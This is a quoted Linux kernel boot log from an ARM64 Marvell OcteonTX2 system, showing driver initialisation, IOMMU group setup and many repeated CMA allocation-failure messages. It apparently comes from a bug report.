> [ 2.795941] pci 0000:03:00.0: Adding to iommu group 32
> [ 2.800640] pci 0000:04:00.0: Adding to iommu group 33
> [ 2.805320] pci 0000:05:00.0: Adding to iommu group 34
> [ 2.810801] pci 0000:06:00.0: Adding to iommu group 35
> [ 2.817237] pci 0002:00:00.0: Adding to iommu group 36
> [ 2.817270] pci 0002:00:01.0: Adding to iommu group 37
> [ 2.817305] pci 0002:00:02.0: Adding to iommu group 38
> [ 2.817333] pci 0002:00:03.0: Adding to iommu group 39
> [ 2.817361] pci 0002:00:04.0: Adding to iommu group 40
> [ 2.817388] pci 0002:00:05.0: Adding to iommu group 41
> [ 2.817414] pci 0002:00:06.0: Adding to iommu group 42
> [ 2.817441] pci 0002:00:07.0: Adding to iommu group 43
> [ 2.817470] pci 0002:00:08.0: Adding to iommu group 44
> [ 2.817497] pci 0002:00:09.0: Adding to iommu group 45
> [ 2.817524] pci 0002:00:0a.0: Adding to iommu group 46
> [ 2.817551] pci 0002:00:0b.0: Adding to iommu group 47
> [ 2.817577] pci 0002:00:0c.0: Adding to iommu group 48
> [ 2.817604] pci 0002:00:0d.0: Adding to iommu group 49
> [ 2.817630] pci 0002:00:0e.0: Adding to iommu group 50
> [ 2.817657] pci 0002:00:0f.0: Adding to iommu group 51
> [ 2.817685] pci 0002:00:10.0: Adding to iommu group 52
> [ 2.817712] pci 0002:00:11.0: Adding to iommu group 53
> [ 2.817738] pci 0002:00:12.0: Adding to iommu group 54
> [ 2.817767] pci 0002:00:13.0: Adding to iommu group 55
> [ 2.817793] pci 0002:00:14.0: Adding to iommu group 56
> [ 2.817821] pci 0002:00:15.0: Adding to iommu group 57
> [ 2.817848] pci 0002:00:16.0: Adding to iommu group 58
> [ 2.817877] pci 0002:00:17.0: Adding to iommu group 59
> [ 2.817910] pci 0002:00:18.0: Adding to iommu group 60
> [ 2.817937] pci 0002:00:19.0: Adding to iommu group 61
> [ 2.817964] pci 0002:00:1a.0: Adding to iommu group 62
> [ 2.817991] pci 0002:00:1b.0: Adding to iommu group 63
> [ 2.818019] pci 0002:00:1c.0: Adding to iommu group 64
> [ 2.818046] pci 0002:00:1d.0: Adding to iommu group 65
> [ 2.818072] pci 0002:00:1e.0: Adding to iommu group 66
> [ 2.818101] pci 0002:00:1f.0: Adding to iommu group 67
> [ 2.821158] pci 0002:01:00.0: Adding to iommu group 68
> [ 2.826549] pci 0002:02:00.0: Adding to iommu group 69
> [ 2.831766] pci 0002:03:00.0: Adding to iommu group 70
> [ 2.836028] pci 0002:04:00.0: Adding to iommu group 71
> [ 2.840206] pci 0002:05:00.0: Adding to iommu group 72
> [ 2.844992] pci 0002:06:00.0: Adding to iommu group 73
> [ 2.849431] pci 0002:07:00.0: Adding to iommu group 74
> [ 2.855257] pci 0002:08:00.0: Adding to iommu group 75
> [ 2.859175] pci 0002:09:00.0: Adding to iommu group 76
> [ 2.864305] pci 0002:0a:00.0: Adding to iommu group 77
> [ 2.868743] pci 0002:0b:00.0: Adding to iommu group 78
> [ 2.875178] pci 0002:0c:00.0: Adding to iommu group 79
> [ 2.881005] pci 0002:0d:00.0: Adding to iommu group 80
> [ 2.886050] pci 0002:0e:00.0: Adding to iommu group 81
> [ 2.890228] pci 0002:0f:00.0: Adding to iommu group 82
> [ 2.894230] pci 0002:10:00.0: Adding to iommu group 83
> [ 2.900936] pci 0002:11:00.0: Adding to iommu group 84
> [ 2.908317] pci 0002:12:00.0: Adding to iommu group 85
> [ 2.913795] pci 0002:13:00.0: Adding to iommu group 86
> [ 2.917890] pci 0002:14:00.0: Adding to iommu group 87
> [ 2.922757] pci 0002:15:00.0: Adding to iommu group 88
> [ 2.930149] pci 0002:16:00.0: Adding to iommu group 89
> [ 2.934671] pci 0002:17:00.0: Adding to iommu group 90
> [ 2.938676] pci 0002:18:00.0: Adding to iommu group 91
> [ 2.944679] pci 0002:19:00.0: Adding to iommu group 92
> [ 2.952936] pci 0001:00:0c.0: Adding to iommu group 93
> [ 2.952962] pci 0001:00:0d.0: Adding to iommu group 94
> [ 2.952989] pci 0001:00:10.0: Adding to iommu group 95
> [ 2.955959] amba 87a100060000.sh_etr: Aliasing StreamID 0x50 (from 0000:00:0a.0) unsupported, expect DMA to be broken
> [ 2.964145] loop: module loaded
> [ 2.964334] megasas: 07.734.00.00-rc1
> [ 2.965504] mdio_thunder 0000:01:01.3: Added bus at 87e005003800
> [ 2.965576] mdio_thunder 0000:01:01.3: Added bus at 87e005003880
> [ 2.965578] mdio_thunder 0000:01:01.3: Couldn't translate address for "mdio0_uio"
> [ 2.965677] tun: Universal TUN/TAP device driver, 1.6
> [ 2.965855] thunder_xcv, ver 1.0
> [ 2.965874] thunder_bgx, ver 1.0
> [ 2.965900] nicpf, ver 1.0
> [ 2.966052] e100: Intel(R) PRO/100 Network Driver
> [ 2.966053] e100: Copyright(c) 1999-2006 Intel Corporation
> [ 2.966079] e1000: Intel(R) PRO/1000 Network Driver
> [ 2.966080] e1000: Copyright (c) 1999-2006 Intel Corporation.
> [ 2.966104] e1000e: Intel(R) PRO/1000 Network Driver
> [ 2.966105] e1000e: Copyright(c) 1999 - 2015 Intel Corporation.
> [ 2.966135] igb: Intel(R) Gigabit Ethernet Network Driver
> [ 2.966136] igb: Copyright (c) 2007-2014 Intel Corporation.
> [ 2.966156] Intel(R) 2.5G Ethernet Linux Driver
> [ 2.966157] Copyright(c) 2018 Intel Corporation.
> [ 2.966174] igbvf: Intel(R) Gigabit Virtual Function Network Driver
> [ 2.966175] igbvf: Copyright (c) 2009 - 2012 Intel Corporation.
> [ 2.966191] ixgbe: Intel(R) 10 Gigabit PCI Express Network Driver
> [ 2.966192] ixgbe: Copyright (c) 1999-2016 Intel Corporation.
> [ 2.966239] ixgbevf: Intel(R) 10 Gigabit PCI Express Virtual Function Network Driver
> [ 2.966240] ixgbevf: Copyright (c) 2009 - 2024 Intel Corporation.
> [ 2.966274] i40e: Intel(R) Ethernet Connection XL710 Network Driver
> [ 2.966275] i40e: Copyright (c) 2013 - 2019 Intel Corporation.
> [ 2.966300] iavf: Intel(R) Ethernet Adaptive Virtual Function Network Driver
> [ 2.966301] Copyright (c) 2013 - 2018 Intel Corporation.
> [ 2.966316] Intel(R) Ethernet Switch Host Interface Driver
> [ 2.966317] Copyright(c) 2013 - 2019 Intel Corporation.
> [ 2.966433] sky2: driver version 1.30
> [ 2.966461] octeon_ep: Loading Marvell Octeon EndPoint NIC Driver ...
> [ 2.966500] octeon_ep: Loaded successfully !
> [ 2.966501] rvu_af: Marvell OcteonTX2 RVU Admin Function Driver
> [ 5.696865] rvu_af 0002:01:00.0: Using default mkex profile
> [ 5.845904] pci 0002:01:00.1: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.846041] pci 0002:01:00.1: Adding to iommu group 96
> [ 5.846139] pci 0002:01:00.2: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.846273] pci 0002:01:00.2: Adding to iommu group 97
> [ 5.846359] pci 0002:01:00.3: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.846481] pci 0002:01:00.3: Adding to iommu group 98
> [ 5.846572] pci 0002:01:00.4: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.846695] pci 0002:01:00.4: Adding to iommu group 99
> [ 5.846783] pci 0002:01:00.5: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.846902] pci 0002:01:00.5: Adding to iommu group 100
> [ 5.846982] pci 0002:01:00.6: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.847094] pci 0002:01:00.6: Adding to iommu group 101
> [ 5.847176] pci 0002:01:00.7: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.847302] pci 0002:01:00.7: Adding to iommu group 102
> [ 5.847383] pci 0002:01:01.0: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.847501] pci 0002:01:01.0: Adding to iommu group 103
> [ 5.847588] pci 0002:01:01.1: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.847706] pci 0002:01:01.1: Adding to iommu group 104
> [ 5.848511] rvu_nicpf: Marvell RVU NIC Physical Function Driver
> [ 5.915754] rvu_nicvf: Marvell RVU NIC Virtual Function Driver
> [ 5.915784] rvu_nicvf 0002:01:00.1: enabling device (0000 -> 0002)
> [ 5.936987] rvu_nicvf 0002:01:00.2: enabling device (0000 -> 0002)
> [ 5.955252] rvu_nicvf 0002:01:00.3: enabling device (0000 -> 0002)
> [ 6.039686] rvu_nicvf 0002:01:00.4: enabling device (0000 -> 0002)
> [ 6.054952] rvu_nicvf 0002:01:00.5: enabling device (0000 -> 0002)
> [ 6.073065] rvu_nicvf 0002:01:00.6: enabling device (0000 -> 0002)
> [ 6.094021] rvu_nicvf 0002:01:00.7: enabling device (0000 -> 0002)
> [ 6.179686] rvu_nicvf 0002:01:01.0: enabling device (0000 -> 0002)
> [ 6.401723] rvu_nicvf 0002:01:01.1: enabling device (0000 -> 0002)
> [ 6.416802] VFIO - User Level meta-driver version: 0.3
> [ 6.417487] xhci_hcd 0001:00:0c.0: xHCI Host Controller
> [ 6.417498] xhci_hcd 0001:00:0c.0: new USB bus registered, assigned bus number 1
> [ 6.417595] xhci_hcd 0001:00:0c.0: hcc params 0x0110ffcd hci version 0x110 quirks 0x0000000000000010
> [ 6.417714] xhci_hcd 0001:00:0c.0: xHCI Host Controller
> [ 6.417716] xhci_hcd 0001:00:0c.0: new USB bus registered, assigned bus number 2
> [ 6.417719] xhci_hcd 0001:00:0c.0: Host supports USB 3.1 Enhanced SuperSpeed
> [ 6.417846] hub 1-0:1.0: USB hub found
> [ 6.417851] hub 1-0:1.0: 1 port detected
> [ 6.418097] usb usb2: We don't know the algorithms for LPM for this host, disabling LPM.
> [ 6.418177] hub 2-0:1.0: USB hub found
> [ 6.418181] hub 2-0:1.0: 1 port detected
> [ 6.418244] xhci_hcd 0001:00:0d.0: xHCI Host Controller
> [ 6.418247] xhci_hcd 0001:00:0d.0: new USB bus registered, assigned bus number 3
> [ 6.418336] xhci_hcd 0001:00:0d.0: hcc params 0x0110ffc5 hci version 0x110 quirks 0x0000000000000010
> [ 6.418436] xhci_hcd 0001:00:0d.0: xHCI Host Controller
> [ 6.418438] xhci_hcd 0001:00:0d.0: new USB bus registered, assigned bus number 4
> [ 6.418440] xhci_hcd 0001:00:0d.0: Host supports USB 3.1 Enhanced SuperSpeed
> [ 6.418527] hub 3-0:1.0: USB hub found
> [ 6.418532] hub 3-0:1.0: 1 port detected
> [ 6.418590] usb usb4: We don't know the algorithms for LPM for this host, disabling LPM.
> [ 6.418661] hub 4-0:1.0: USB hub found
> [ 6.418665] hub 4-0:1.0: 1 port detected
> [ 6.418879] usbcore: registered new interface driver usb-storage
> [ 6.511431] i2c_dev: i2c /dev entries driver
> [ 6.558494] sbsa-gwdt 8020000a0000.watch-dog: Initialized with 10s timeout @ 1000000000 Hz, action=0.
> [ 6.558773] gti-wdt 802000040000.watchdog: Watchdog enabled (timeout=17 sec)
> [ 6.604952] sdhci: Secure Digital Host Controller Interface driver
> [ 6.604953] sdhci: Copyright(c) Pierre Ossman
> [ 6.605132] Synopsys Designware Multimedia Card Interface Driver
> [ 6.605324] sdhci-pltfm: SDHCI platform and OF driver helper
> [ 6.605678] SMCCC: SOC_ID: ID = jep106:0369:00b9 Revision = 0x00000008
> [ 6.605935] usbcore: registered new interface driver usbhid
> [ 6.605936] usbhid: USB HID core driver
> [ 6.707628] hw perfevents: enabled with armv8_pmuv3 PMU driver, 7 (0,8000003f) counters available
> [ 6.707945] optee: probing for conduit method.
> [ 6.707947] optee: api uid mismatch
> [ 6.707948] optee firmware:optee: probe with driver optee failed with error -22
> [ 6.708312] GACT probability NOT on
> [ 6.708315] Mirror/redirect action on
> [ 6.708320] netem: version 1.3
> [ 6.708698] NET: Registered PF_INET6 protocol family
> [ 6.709030] Segment Routing with IPv6
> [ 6.709036] In-situ OAM (IOAM) with IPv6
> [ 6.709057] NET: Registered PF_PACKET protocol family
> [ 6.709080] 9pnet: Installing 9P2000 support
> [ 6.709096] Key type dns_resolver registered
> [ 6.714683] registered taskstats version 1
> [ 6.714820] Loading compiled-in X.509 certificates
> [ 6.720161] Demotion targets for Node 0: null
> [ 7.104342] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 129 pages, ret: -16
> [ 7.104346] cma: number of available pages:
> [ 7.104347] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+7@2985+7@3001+15@3041+7@3065+15@3329+5
> [ 7.104369] cma:
> [ 7.104369] => 2260 free of 8192 total pages
> [ 7.105408] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 129 pages, ret: -16
> [ 7.105409] cma: number of available pages:
> [ 7.105410] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+7@2985+7@3001+15@3041+7@3065+15@3329+5
> [ 7.105430] cma:
> [ 7.105431] => 2260 free of 8192 total pages
> [ 7.106470] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 129 pages, ret: -16
> [ 7.106471] cma: number of available pages:
> [ 7.106472] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+7@2985+7@3001+15@3041+7@3065+15@3329+5
> [ 7.106492] cma:
> [ 7.106493] => 2260 free of 8192 total pages
> [ 7.107531] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 129 pages, ret: -16
> [ 7.107533] cma: number of available pages:
> [ 7.107533] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+7@2985+7@3001+15@3041+7@3065+15@3329+5
> [ 7.107553] cma:
> [ 7.107554] => 2260 free of 8192 total pages
> [ 7.144553] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.144555] cma: number of available pages:
> [ 7.144556] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.144577] cma:
> [ 7.144578] => 2254 free of 8192 total pages
> [ 7.149420] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.149421] cma: number of available pages:
> [ 7.149422] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.149444] cma:
> [ 7.149444] => 2189 free of 8192 total pages
> [ 7.155551] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.155553] cma: number of available pages:
> [ 7.155553] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.155576] cma:
> [ 7.155576] => 2156 free of 8192 total pages
> [ 7.159682] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.159683] cma: number of available pages:
> [ 7.159684] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.159707] cma:
> [ 7.159707] => 2091 free of 8192 total pages
> [ 7.165816] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.165818] cma: number of available pages:
> [ 7.165819] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.165842] cma:
> [ 7.165842] => 2058 free of 8192 total pages
> [ 7.169949] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.169951] cma: number of available pages:
> [ 7.169951] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.169975] cma:
> [ 7.169975] => 1993 free of 8192 total pages
> [ 7.176080] cma: number of available pages:
> [ 7.176081] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.176105] cma:
> [ 7.176106] => 1960 free of 8192 total pages
> [ 7.180213] cma: number of available pages:
> [ 7.180214] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.180238] cma:
> [ 7.180239] => 1895 free of 8192 total pages
> [ 7.206867] cma: number of available pages:
> [ 7.206868] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.206896] cma:
> [ 7.206896] => 1826 free of 8192 total pages
> [ 7.207935] cma: number of available pages:
> [ 7.207935] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.207962] cma:
> [ 7.207963] => 1826 free of 8192 total pages
> [ 7.209002] cma: number of available pages:
> [ 7.209003] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.209030] cma:
> [ 7.209030] => 1826 free of 8192 total pages
> [ 7.210069] cma: number of available pages:
> [ 7.210070] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.210097] cma:
> [ 7.210097] => 1826 free of 8192 total pages
> [ 7.211137] cma: number of available pages:
> [ 7.211138] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.211165] cma:
> [ 7.211165] => 1826 free of 8192 total pages
> [ 7.212203] cma: number of available pages:
> [ 7.212204] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.212231] cma:
> [ 7.212231] => 1826 free of 8192 total pages
> [ 7.213270] cma: number of available pages:
> [ 7.213271] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.213298] cma:
> [ 7.213299] => 1826 free of 8192 total pages
> [ 7.214337] cma: number of available pages:
> [ 7.214338] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+15@3041+75
> [ 7.214365] cma:
> [ 7.214365] => 1826 free of 8192 total pages
> [ 7.247392] cma: number of available pages:
> [ 7.247393] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.247421] cma:
> [ 7.247422] => 1820 free of 8192 total pages
> [ 7.247487] cma: number of available pages:
> [ 7.247487] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.247515] cma:
> [ 7.247515] => 1820 free of 8192 total pages
> [ 7.247535] cma: number of available pages:
> [ 7.247536] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.247564] cma:
> [ 7.247564] => 1820 free of 8192 total pages
> [ 7.253051] cma: number of available pages:
> [ 7.253052] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.253081] cma:
> [ 7.253082] => 1787 free of 8192 total pages
> [ 7.253149] cma: number of available pages:
> [ 7.253149] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.253178] cma:
> [ 7.253178] => 1787 free of 8192 total pages
> [ 7.253196] cma: number of available pages:
> [ 7.253197] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.253225] cma:
> [ 7.253226] => 1787 free of 8192 total pages
> [ 7.258186] cma: number of available pages:
> [ 7.258187] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.258216] cma:
> [ 7.258217] => 1754 free of 8192 total pages
> [ 7.258283] cma: number of available pages:
> [ 7.258284] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.258313] cma:
> [ 7.258313] => 1754 free of 8192 total pages
> [ 7.258333] cma: number of available pages:
> [ 7.258333] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.258362] cma:
> [ 7.258363] => 1754 free of 8192 total pages
> [ 7.263317] cma: number of available pages:
> [ 7.263318] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.263348] cma:
> [ 7.263348] => 1721 free of 8192 total pages
> [ 7.263415] cma: number of available pages:
> [ 7.263416] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.263445] cma:
> [ 7.263445] => 1721 free of 8192 total pages
> [ 7.263464] cma: number of available pages:
> [ 7.263465] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.263494] cma:
> [ 7.263494] => 1721 free of 8192 total pages
> [ 7.288972] cma: number of available pages:
> [ 7.288973] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.289005] cma:
> [ 7.289005] => 1652 free of 8192 total pages
> [ 7.290044] cma: number of available pages:
> [ 7.290044] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.290076] cma:
> [ 7.290076] => 1652 free of 8192 total pages
> [ 7.291115] cma: number of available pages:
> [ 7.291116] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.291147] cma:
> [ 7.291148] => 1652 free of 8192 total pages
> [ 7.292187] cma: number of available pages:
> [ 7.292188] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.292219] cma:
> [ 7.292220] => 1652 free of 8192 total pages
> [ 7.293260] cma: number of available pages:
> [ 7.293260] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.293292] cma:
> [ 7.293293] => 1652 free of 8192 total pages
> [ 7.294332] cma: number of available pages:
> [ 7.294333] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.294365] cma:
> [ 7.294365] => 1652 free of 8192 total pages
> [ 7.295403] cma: number of available pages:
> [ 7.295404] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.295436] cma:
> [ 7.295436] => 1652 free of 8192 total pages
> [ 7.296475] cma: number of available pages:
> [ 7.296475] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.296507] cma:
> [ 7.296508] => 1652 free of 8192 total pages
> [ 7.309623] eth2 NIC Link is UP 10000 Mbps Full duplex
> [ 7.329629] cma: number of available pages:
> [ 7.329630] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.329663] cma:
> [ 7.329664] => 1646 free of 8192 total pages
> [ 7.329730] cma: number of available pages:
> [ 7.329730] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.329763] cma:
> [ 7.329764] => 1646 free of 8192 total pages
> [ 7.329783] cma: number of available pages:
> [ 7.329784] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@5
> [ 7.329816] cma:
> [ 7.329817] => 1646 free of 8192 total pages
> [ 7.335160] cma: number of available pages:
> [ 7.335161] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.335194] cma:
> [ 7.335195] => 1613 free of 8192 total pages
> [ 7.335263] cma: number of available pages:
> [ 7.335263] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.335296] cma:
> [ 7.335297] => 1613 free of 8192 total pages
> [ 7.335316] cma: number of available pages:
